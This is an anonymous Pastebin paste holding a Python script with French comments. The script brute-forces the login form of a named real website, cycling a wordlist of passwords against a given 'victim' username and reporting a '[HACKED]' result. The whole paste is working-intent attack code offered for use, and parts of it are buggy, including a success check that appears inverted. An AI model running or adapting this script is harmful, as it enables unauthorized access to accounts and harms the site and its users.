Advertisement
Guest User

Untitled

a guest
Dec 3rd, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. #coding:utf-8
  2.  
  3. import urllib
  4. from urllib.parse import urlencode
  5. from urllib.request import urlopen
  6. import time
  7. import sys
  8. import optparse
  9. from optparse import *
  10. import socket
  11. import os
  12. import colorama
  13. from colorama import *
  14. import requests
  15. os.system("cls")
  16.  
  17. def help():
  18. time.sleep(1)
  19. print("\n\n\n===========================================")
  20. print("[*] | -u | L'username de la victime |")
  21. print("[*] | -w | La Wordlist pour attaquer les mots de passes |")
  22. print("===========================================")
  23.  
  24. def main():
  25.  
  26. parser = OptionParser()
  27. parser.add_option("-u", "--username", dest="username", help="[*] L'username de la victme | <--")
  28. parser.add_option("-w", "--wordlist", dest="wordlist", help="[*] La WordList pour attaqué les mots de passes | <--")
  29. (option, args) = parser.parse_args()
  30. username = option.username
  31. wordlist = option.wordlist
  32. url = "http://www.pbem.fr/"
  33.  
  34. colorama.init()
  35.  
  36. if option.username and option.wordlist:
  37. try:
  38. print("==========================================================")
  39. time.sleep(2)
  40. print(Style.DIM + "\n\n\n[!!] Testons si le site existe ...")
  41. r = requests.post(url)
  42. print("\n\n[**] Le site existe | <--")
  43. time.sleep(2)
  44.  
  45. FormLogin = 'Login'
  46. login = option.username
  47. FormPassword = 'Password'
  48. time.sleep(2)
  49.  
  50. wd_list_open = open(option.wordlist, "r").readlines()
  51. for i in wd_list_open:
  52. i = i.strip('\n')
  53. data = {FormLogin: login, FormPassword: i}
  54. params = urlencode(data)
  55. response = urlopen(url, params)
  56. data = response.read()
  57.  
  58. if str("Erreur") in data:
  59. print("[*] Password [HACKED] : "+login+":"+i)
  60. sys.exit(0)
  61. else:
  62. print("[-] Password incorrect : "+i)
  63. pass
  64. except FileNotFoundError:
  65. time.sleep(2)
  66. print("[!!] La Wordlist n'a pas été connu | [{}]".format(option.wordlist))
  67. elif not(option.username and option.wordlist):
  68. time.sleep(2)
  69. help()
  70. sys.exit(0)
  71. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement